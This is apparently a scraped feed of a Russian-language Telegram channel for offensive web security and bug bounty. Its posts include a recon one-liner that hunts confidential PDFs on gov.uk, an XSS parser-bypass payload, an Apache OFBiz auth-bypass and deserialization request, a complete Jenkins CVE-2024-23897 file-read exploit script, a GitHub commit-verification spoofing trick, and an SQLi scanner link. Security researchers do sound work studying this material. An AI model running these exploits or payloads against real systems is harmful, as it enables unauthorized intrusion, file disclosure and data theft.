SHADOW:Group
11.6K subscribers
106 photos
47 videos
19 files
821 links
Чат: @shadow_chat_tg

Рекламу не размещаю.

Админ - @shdwpwn
Download Telegram
📁 Массовый поиск конфиденциальных данных в PDF-файлах

Исследуя таргет часто попадается много pdf'ок, которые могут содержать конфиденциальные данные. Просматривать вручную все это очень долго, а потому можно попробовать автоматизировать этот процесс.

1️⃣ Используем gau для сбора конечных точек из wayback, urlscan и т.д.
2️⃣ Фильтруем конечные точки по расширению .pdf с помощью Grep.
3️⃣ Проверяем с httpx, что url живой и возвращает 200 ОК.
4️⃣ С помощью curl'а смотрим все живые pdf'ки.
5️⃣ Конвертируем PDF в текст. Для этого есть утилитка pdftotext, которая, как видно из названия, умеет переводить из pdf в текст. Устанавливается так:
sudo apt install poppler-utils

6️⃣ Используем Grep для некоторых чувствительных слов, таких как "internal use only" или "confidential" и т.д.

В результате чего получим такую команду:

for i in $(echo "gov.uk" | gau --subs --threads 16 | grep -E -o 'https?://[^[:space:]]+\.pdf' | httpx -silent -mc 200); do if curl -k -s $i | pdftotext -q - - | grep -Eaiq 'confidential|internal use only'; then echo $i | tee output.txt; fi; done


Эта команда сканирует веб-сайт "gov.uk" и его поддомены в поиске URL-ов с PDF-файлами. Затем она проверяет каждый PDF-файл на наличие строк "confidential" или "internal use only" и записывает эти URL-ы в файл "output.txt".

Вы можете включить свое творческое мышление и попытаться изменить этот скрипт по своему усмотрению. Например, используя katana вместо gau или проверяя наличие других чувствительных слов, используя другие расширения и т.д. Использование собственного творческого подхода даст вам максимальную отдачу!

#web #recon #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥30👍7😢1
Forwarded from wr3dmast3r vs pentest
Многие оставляют недоработанными вектора атак с self-XSS или XSS, заблокированной CSP. Иногда стоит уделить достаточно внимания каждой такой находке и посмотреть на уязвимость с другой стороны 😈

В этой статье мы рассмотрим различные методы и техники, которые расширяют границы XSS-атак: эксплуатацию XSS через service-worker, self-XSS в один клик и другие сочетания уязвимостей 💎

https://telegra.ph/XSS-Advanced-Level-01-09
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11🤔3👍1
Forwarded from Заметки Слонсера (Slonser)
#quick #XSS
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:
from html.parser import HTMLParser

class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")

def handle_endtag(self, tag):
pass

def handle_startendtag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")

def handle_data(self, data):
pass

html_string = input()

parser = MyHTMLParser()
parser.feed(html_string)

Этот код выводит теги и их атрибуты.
При этом стандартная библиотека питона не учитывает, что для тегов
"iframe", "noembed", "noframes", "noscript", "plaintext", "title", "textarea", "xmp"

Содержимое не обрабатывается как html теги
Соответственно при вводе:
<textarea><a href="x></textarea><img src=x onerror=alert()//">

Результат парсинга будет выглядеть следующим образом:
textarea
a
->href: x></textarea><img src=x onerror=alert()//

В то время как в браузере это будет выглядеть следующим образом:
            <textarea>&lt;a href="x&gt;</textarea><img src="x" onerror="alert()//&quot;">

И соответсвенно выведется alert()
Вещь баянистая, но многие про это забывают при той же эксплуатации Server Side XSS

Попробую такой формат заметок
👍27🔥7😁3
💻 Раскрытые уязвимости с багбаунти, ч.7

1️⃣ IDOR при изменении информации о пользователе, позволяющий привязать свою почту к чужому аккаунту и получить к нему доступ

2️⃣ Повышение привелегий через изменение роли, открывающее админский функционал в приложении

3️⃣ Reflected XSS через скрытый параметр

#web #idor #logic #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍7
Forwarded from Monkey Hacker
Oh yes, ping pong

Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML-RPC. Решил глянуть, что это было и как оно происходит 😺

Суть заключается в том, что XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java

       List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}


Тут все начинается с requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChange

Дальше идем в checkLogin() и там уже идет следующий момент

if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))


Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс "error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChange

Поэтому мы можем дергать ручки XML-RPC

/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y


А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial

POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28👍4🤔2
Forwarded from вольтаж
👁 Курс на мисконфиги. Как поймать проблемный CORS на проде

На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.

Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.

Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.

Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!

https://xakep.ru/2024/01/18/cors-cheatsheet/
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍1😁1
Как ломать 1С-Битрикс

Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр 👍

Краткое содержание статьи
⬜️ Что делать, если по всем известной методичке про атаки на битрикс ничего не найдено
⬜️ Откуда появляются самописные скрипты в битриксе
⬜️ Охота и разведка на самописные php скрипты разработчиков
⬜️ Атака + кейс с работы

Приятного чтения & Happy hacking ☺️

📶 Как ломать сайты на «1С-Битрикс»

ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4😢2
Forwarded from Похек (Sergey Zybnev)
🤕 Неочевидные угрозы: как защититься от атак на десериализацию, XSS и чтение произвольных файлов

Злоумышленники могут успешно атаковать 98% веб-приложений. И это не просто громкие цифры, а данные из исследования Positive Technologies. Как такое возможно, если есть инструменты и практики типа SAST, DAST и WAF, а разработчики вроде бы нормально кодят?

Давайте я объясню, как устроены опасные атаки, на примере с разработчиком Василием, который работает в интернет-магазине и которому начальство подкидывает разные интересные задачки.

➡️ Читать далее

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4
💰Как предложение от банка привело к раскрытию личных данных и награде в 5000$

Небольшой рассказ о том, как обычное почтовое предложение позволяло злоумышленнику получить доступ к данным других пользователей и раскрыть конфиденциальную личную информацию.

Ссылка на статью

#web #idor #leak
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17🔥4
Forwarded from Заметки Слонсера (Slonser)
История одной уязвимости в Chrome

Очень простая уязвимость, которую я нашел в Google Chrome. И за которую получил 16000$.
Попытался дать побольше контекста, чтобы увеличить пользу от прочтения материала.
Habr
Twitter
P.S. Лучшей благодарностью, если вам понравился материал - является его распространение.
🔥19👍4😢1
Forwarded from Похек (Sergey Zybnev)
Jenkins RCE CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.

PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6
Forwarded from Cybred
Подделка подписей на Github

Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так
git config --global user.name "Linus Torvalds"
git config --global user.email "torvalds@linux-foundation.org"

Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds.

Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG.

Если отправить что-нибудь через веб, коммит подпишется от имени GitHub <noreply@github.com> и тоже будет считаться верифицированным.

Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает gh-gpgsign и возвращает подписанный результат.

На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки /\Aauthor (.+?) <(.+)>/, должны быть равна имени текущего залогиненного пользователя.

Но имя может быть пустым, тогда коммит будет таким
author  <583231+octocat@users.noreply.github.com> 1682188800 +0000
author username <user@example.com> 1682188800 +0000

где первая строка — сгенерирована автоматически,
а вторая — фейковая, уже отправленная нами.

Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем.

Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.
🔥17👍5🤔1
💻 Раскрытые уязвимости с багбаунти, ч.8

1️⃣ Remote Code Execution через Local File Inclusion

2️⃣ Reflected XSS на поддомене American Airlines

3️⃣ Stored XSS на сайте Microsoft

#web #rce #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍4
​​😒 Apache Tomcat HTTP Request Smuggling (Client- Side Desync)

Недавно была найдена критическая уязвимость в Apache Tomcat, которой был присвоен код CVE-2024-21733.

Уязвимость позволяет злоумышленникам заставить браузер жертвы рассинхронизировать свое соединение с веб-сайтами, размещенными поверх Apache Tomcat, что приводит к контрабанде конфиденциальных данных с сервера и/или клиентских подключений (смотри скрин ниже).

Для получения дополнительной информации об атаках десинхронизации со стороны клиента, можете почитать исследование Джеймса Кеттла.

Ссылка на отчет

#web #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯8🔥5👍2
😈 Обнаружение нестандартных заголовков в API с помощью фильтров Burp Bambdas

Что, если я скажу вам, что многие API используют нестандартные пользовательские HTTP-заголовки для управления бизнес-логикой и поведением?

Одним из простых способов увидеть такие заголовки в Burp, является применение шаблона для Bambdas:

if( !requestResponse.hasResponse() )
{
return false;
}

String[] standardHeaders = {
"accept-patch",
"accept-ranges",
"access-control-allow-credentials",
"access-control-allow-headers",
"access-control-allow-methods",
"access-control-allow-origin",
"access-control-expose-headers",
"access-control-max-age",
"age",
"allow",
"alt-svc",
"cache-control",
"clear-site-data",
"connection",
"content-disposition",
"content-encoding",
"content-language",
"content-length",
"content-location",
"content-range",
"content-security-policy",
"content-transfer-encoding",
"content-type",
"cross-origin-embedder-policy",
"cross-origin-opener-policy",
"cross-origin-resource-policy",
"date",
"delta-base",
"etag",
"expect-ct",
"expires",
"feature-policy",
"host",
"im",
"keep-alive",
"last-modified",
"link",
"location",
"pragma",
"proxy-authenticate",
"public-key-pins",
"referrer-policy",
"retry-after",
"server",
"set-cookie",
"strict-transport-security",
"tk",
"trailer",
"transfer-encoding",
"upgrade",
"vary",
"via",
"warning",
"www-authenticate",
"x-content-type-options",
"x-frame-options",
"x-permitted-cross-domain-policies",
"x-xss-protection"
};

List headersList = Arrays.asList(standardHeaders);

var headers = requestResponse.response().headers();

List unexpectedHeaders = new ArrayList();

for( var header : headers ) {
var headerName = header.name().toLowerCase();
if( !headersList.contains( headerName ) ) {
unexpectedHeaders.add( headerName );
}
}

if( unexpectedHeaders.size() > 0 ) {
requestResponse.annotations().setHighlightColor( HighlightColor.GRAY );
requestResponse.annotations().setNotes(
"Non-standard Headers: " + String.join( ",", unexpectedHeaders )
);
}
else {
// Maybe don't trample on existing Notes in the future??
requestResponse.annotations().setHighlightColor( HighlightColor.NONE );
requestResponse.annotations().setNotes("");
}

return true;


Подробнее про составление этого шаблона и возможности по его кастомизации читайте тут.

А если вы ничего не знаете о фильтрах Bambdas, то рекомендую вам ознакомиться со статьей о написании фильтров Bambda Like a Boss. В ней подробно описано, что это такое, почему вас это должно заинтересовать и как начать с этим работать.

#web #tools #burp
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22😢1
​​📱 Обход WAF через мобильное приложение

Иногда WAF на вебе не позволяют встраивать полезную нагрузку в запросы, однако вы можете ввести свою полезную нагрузку через приложение для Android или IOS и она может отработать на веб-сайте без какой-либо блокировки.

#web #waf
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥6
​​💉 SQLi-Sleeps

Небольшой скрипт для автоматизации поиска Time-Based SQL инъекций в списке url-адресов.

Ссылка на GitHub

#web #sqli
👍16